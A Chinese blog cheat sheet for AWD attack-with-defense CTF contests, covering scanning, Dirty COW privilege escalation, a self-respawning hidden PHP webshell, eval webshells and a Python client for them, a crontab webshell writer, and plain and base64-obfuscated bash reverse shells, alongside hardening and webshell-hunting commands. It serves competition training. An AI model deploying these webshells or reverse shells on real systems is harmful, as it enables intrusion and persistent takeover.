wireshark 网络安全 awd 网络安全

前阵子在准备AWD比赛,找了一些资料,基本都是网上的,做了简单的集合。可以做个 总结。

AWD基本资料

登录服务器:

攻击流程:信息搜集、网站目录扫描、攻击服务端口、攻击WEB服务、权限提升、权限维持

防御流程:

网站备份、数据库备份、信息搜集、

安全加固(更改口令,备份检查,后门查杀、关闭进程、关闭端口、漏洞修复、文件监控、部署WAF、流量监控)

信息搜集:

主机探测:

一般使用nmap或netdiscover

查看自己主机IP

ifconfig          #linux
ipconfig         #windows

    扫描存活主机

    nmap -sS 192.168.1.0/24         #扫描192.168.1.1-192.168.1.254的主机
    netdiscover -i eth0 -r 192.168.111.0/24    #同上

      端口探测

      nmap -sV 192.168.0.2            #扫描主机系统版本
      nmap -sS 192.168.0.2            #扫描主机常用端口
      nmap -sS -p 80,445 192.168.0.2  #扫描主机部分端口
      nmap -sS -p- 192.168.0.2        #扫描主机全部端口

        nmap常用命令:

        nmap -sS 192.168.96.4  //SYN扫描,使用最频繁,安全,快
        nmap -Pn 192.168.96.4  //目标机禁用ping,绕过ping扫描
        nmap -sU 192.168.96.4  //UDP扫描,慢,可得到有价值的服务器程序
        nmap -A 192.168.96.4  //强力扫描,耗时长

          网站目录扫描:

          网站目录扫描通常采用御剑或者是7kbscan,准备好对应字典

          已经放置在文件夹下

          攻击服务端口和WEB服务

          WEB 方面的语言多为PHP,小部分为Java 和Python。这里的WEB环境分两种情况。

          一种是已有漏洞的框架,一种是出题人写的框架。如果是已有漏洞的框架,通常会比较明显。比如说Struts2各种漏洞等等,用工具扫就可以扫出来。

          可以使用这款软件来进行POC利用

          https://gobies.org/ 主机探测、端口爆破和漏洞检测

          文件包含漏洞:

          使用通过 ../../../../../flag 获取

          可能会使用SQL注入,SQL盲注,文件包含,文件上传,XSS,暴力破解等手法来进行攻击,详细攻击手法参考书籍。这里介绍各种CMS、框架漏洞的POC

          目前有Struts2、万户OA、致远OA、ThinkPHP漏洞、

          同时,通过vulbase,提供了各类漏洞库的POC,目前已放置在Centos虚拟机中,启动方式如下:

          docker 运行

          cd /download/vulbase-master
          docker pull vultarget/vulbase:0.3
          docker run -it -d -p 80:80 vultarget/vulbase:0.3
          默认密码 admin / 1q2w3e4r

            直接浏览器访问改ip地址,输入用户名和密码即可

            权限提升

            一般提供的

            常用权限提升方法:

            1、内核脏牛提权

            uname -a #查看内核版本信息

            内核版本为3.2.78 ,小于3.9的话,就可以使用。(CVE-2016-5195)

            通过Xftp把文件上传到CentOS里面,编译下载的Exp:

            gcc -pthread dirty.c -o dirty -lcrypt
            rm -rf /tmp/passwd.bak
            ./dirty 123456

              执行完成后,会在目标主机上添加一个名为firefart,密码为123456且具备root权限的用户,

              2、linux-exploit-suggester检测来进行提权

              用法:文件上传到Linux目录下,执行

              ./linux-exploit-suggester.sh

              会提示存在哪个漏洞版本可以进行提权操作

              3、SUID提权

              具体操作参考文档《SUID提权总结及利用演示》

              权限维持

              1、不死马

              代码:

              <?php 
                         ignore_user_abort(true); 
                         set_time_limit(0); 
                         unlink(__FILE__); 
                         $file = '.config.php'; 
                         $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>'; 
                         //pass=pass 
                         while (1){ 
                             file_put_contents($file,$code); 
                             system('touch -m -d "2022-10-01 09:10:12" .config.php'); 
                             usleep(5000); 
                         } 
                     ?>

                将该php文件命名为config.php上传到服务器,然后进行访问,访问路径为

                 http://x.x.x.x/uploads/config.php,之后,

                会在该路径下循环生成名字为.config.php的不死马隐藏文件

                然后使用蚁剑访问,URL:

                 http://x.x.x.x/uploads/.config.php?pass=pass,连接密码是a

                <?php @eval($_POST['shell']);?>

                shell 变量用于接收 python 代码传过来的字符串。

                eval() 函数将接收的字符串当作命令执行。

                所以发送的代码。

                import requests
                url = ‘192.168.1.1’
                passwd = ‘shell’    # 其实就是一句话木马中的变量shell
                cmd = ls
                # 将命令传给一句话木马
                 
                payload = {
                    passwd: "system(\'" + cmd + "\');"
                }
                # 向目标url发送post请求
                 
                response = requests.post(url=url, data=payload, timeout=3)
                # 回显命令执行的结果
                print(response.text)

                  2、Crontab写马

                  1.定时任务写马

                  */2 * * * * /bin/echo '<?php eval(@$_POST['password']);?>' > /www/admin/localhost_80/wwwroot/DVWA-master/hackable/uploads/shell.php

                    1.使用命令crontab -e进入编辑界面

                    2.输入上面命令,上面是将一句话木马写入/www/admin/localhost_80/wwwroot/DVWA-master/hackable/uploads/中,并命名为shell.php,时间间隔是2分钟执行一次

                    3.crontab -l ,可以查看到当前正在执行的任务

                    2. 反弹shell

                    1、nc反弹

                    在靶机在执行 ,xx.xx.xx是你本机的ip地址

                    bash -i >& /dev/tcp/xx.xx.xx/8000  0>&1

                    在本机上执行

                    nc -lvnp 8000

                    就可以收到反弹过来的shell了

                    2、nc采用base64编码反弹

                    首先把这个语句进行base64编码,192.168.1.1是本机的ip地址

                    bash -i >& /dev/tcp/192.168.1.1/8000  0>&1
                     
                    编码后为
                    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84MDAwICAwPiYx
                      在靶机执行
                      bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84MDAwICAwPiYx}|{base64,-d}|{bash,-i}'
                       
                      接着在本机执行
                      nc -lvnp 8000

                        网站备份

                        目的是防止修改源码出错,或被对手恶意删除源码,或快速恢复网站防止被裁判组check探测服务存活失败丢分。

                        压缩文件:

                        tar -cvf web.tar /var/www/html

                        解压文件:

                        tar -xvf web.tar -C /var/www/html

                          备份到本地

                          使用FileZilla

                          或者直接用MobaXterm连上服务器,直接备份下来

                          数据库备份

                          mysql -uroot -proot         #进入数据库,用户名和密码都是root

                          备份服务器上所有数据库

                          mysqldump –-all-databases > 123.sql

                          备份指定数据库:

                          mysqldump –u username –p password databasename > bak.sql

                          mysql备份单个数据库命令

                          mysqldump --column-statistics=0 -h主机ip -P端口号 -u数据库用户名 -p数据库密码 数据库名称 > 想要备份的文件名称.sql

                          信息搜集

                          netstat -ano/-a #查看端口情况
                            uname -a  #系统信息
                              ps -aux、ps -ef #进程信息
                                cat /etc/passwd #用户情况
                                  ls /home/ #用户情况
                                    id   #用于显示用户ID,以及所属群组ID
                                      find / -type d -perm -002 #可写目录检查
                                        grep -r “flag” /var/www/html/  #查找默认FLAG
                                          find /var/www/html -name ‘flag*.*’   # 查找名字为flag的

                                            口令更改

                                            信息搜集后,将未授权和弱口令问题及时修复,包括但不限于服务器SSH口令、数据库口令和WEB服务口令。

                                            passwd username    #ssh口令修改

                                              mysql用户密码的更改:

                                              mysql -uroot -proot  # 先登录mysql服务器,u后面是用户名,p后面是密码,这里的用户名和密码都是root
                                              set password for username@localhost = password(newpwd);
                                              #其中 username 为要修改密码的用户名,newpwd 为要修改的新密码
                                              例如
                                              set password for root@localhost = password(‘root’);   #密码是root
                                              如果这条语句不行,可以使用
                                              ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';

                                                默认大部分都是弱口令,例如一般默认密码为 admin/admin, admin/123456, test/test,如果被其他队伍改了那就gg了。

                                                后门查杀

                                                通过命令查看可疑文件:

                                                find /var/www/html -name *.php -mmin -20 #查看最近20分钟,在/var/www/html目录下,后缀名为.php的,被修改的文件
                                                find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
                                                grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    #查包含关键字的php文件
                                                find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more

                                                  一般查杀

                                                  使用河马webshell或者D盾

                                                  关闭进程

                                                  查看进程: ps aux

                                                  会有进程的pid,根据pid,删掉进程。

                                                  删除进程: kill -9 pid

                                                  关闭端口

                                                  关闭端口,可以采用在防火墙上拦截的方式,具体操作已写入文档里

                                                  文件监控

                                                  监测攻击payload
                                                  tail -f *.log,看日志,不言而喻,抓他们的payload并利用。
                                                   
                                                  curl获取flag

                                                    常用Linux命令:

                                                    登录后复制 

                                                    linux操作有很多命令,但是线下赛的防护工作中常用的也就那么一些,我们平时可以留意并总结起来,便于我们比赛使用。
                                                    ssh <-p 端口> 用户名@IP  
                                                    scp 文件路径  用户名@IP:存放路径    
                                                    tar -zcvf web.tar.gz /var/www/html/  
                                                    w     
                                                    pkill -kill -t <用户tty>     
                                                    ps aux | grep pid或者进程名    
                                                    #查看已建立的网络连接及进程
                                                    netstat -antulp | grep EST
                                                    #查看指定端口被哪个进程占用
                                                    lsof -i:端口号 或者 netstat -tunlp|grep 端口号
                                                    #结束进程命令
                                                    kill PID
                                                    killall <进程名>  
                                                    kill - <PID>  
                                                    #封杀某个IP或者ip段,如:.  
                                                    iptables -I INPUT -s . -j DROP
                                                    iptables -I INPUT -s ./ -j DROP
                                                    #禁止从某个主机ssh远程访问登陆到本机,如123..  
                                                    iptable -t filter -A INPUT -s . -p tcp --dport  -j DROP  
                                                    #备份mysql数据库
                                                    mysqldump -u 用户名 -p 密码 数据库名 > back.sql    
                                                    mysqldump --all-databases > bak.sql      
                                                    #还原mysql数据库
                                                    mysql -u 用户名 -p 密码 数据库名 < bak.sql  
                                                    find / *.php -perm       
                                                    awk -F:  /etc/passwd    
                                                    crontab -l    
                                                    #检测所有的tcp连接数量及状态
                                                    netstat -ant|awk  |grep |sed -e  -e |sort|uniq -c|sort -rn
                                                    #查看页面访问排名前十的IP
                                                    cat /var/log/apache2/access.log | cut -f1 -d   | sort | uniq -c | sort -k  -r | head -  
                                                    #查看页面访问排名前十的URL
                                                    cat /var/log/apache2/access.log | cut -f4 -d   | sort | uniq -c | sort -k  -r | head -

                                                     

                                                    网络安全学习路线

                                                    对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

                                                    同时每个成长路线对应的板块都有配套的视频提供:

                                                    需要网络安全学习路线和视频教程的可以在评论区留言哦~

                                                    最后
                                                    • 如果你确实想自学的话,我可以把我自己整理收藏的这些教程分享给你,里面不仅有web安全,还有渗透测试等等内容,包含电子书、面试题、pdf文档、视频以及相关的课件笔记,我都已经学过了,都可以免费分享给大家!

                                                    给小伙伴们的意见是想清楚,自学网络安全没有捷径,相比而言系统的网络安全是最节省成本的方式,因为能够帮你节省大量的时间和精力成本。坚持住,既然已经走到这条路上,虽然前途看似困难重重,只要咬牙坚持,最终会收到你想要的效果。

                                                    黑客工具&SRC技术文档&PDF书籍&web安全等(可分享)

                                                    结语

                                                    网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

                                                    特别声明:
                                                    此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失

                                                    评论
                                                    添加红包

                                                    请填写红包祝福语或标题

                                                    红包个数最小为10个

                                                    红包金额最低5元

                                                    当前余额3.43前往充值 >
                                                    需支付:10.00
                                                    成就一亿技术人!
                                                    领取后你会自动成为博主和红包主的粉丝 规则
                                                    hope_wisdom
                                                    发出的红包
                                                    实付
                                                    使用余额支付
                                                    点击重新获取
                                                    扫码支付
                                                    钱包余额 0

                                                    抵扣说明:

                                                    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
                                                    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

                                                    余额充值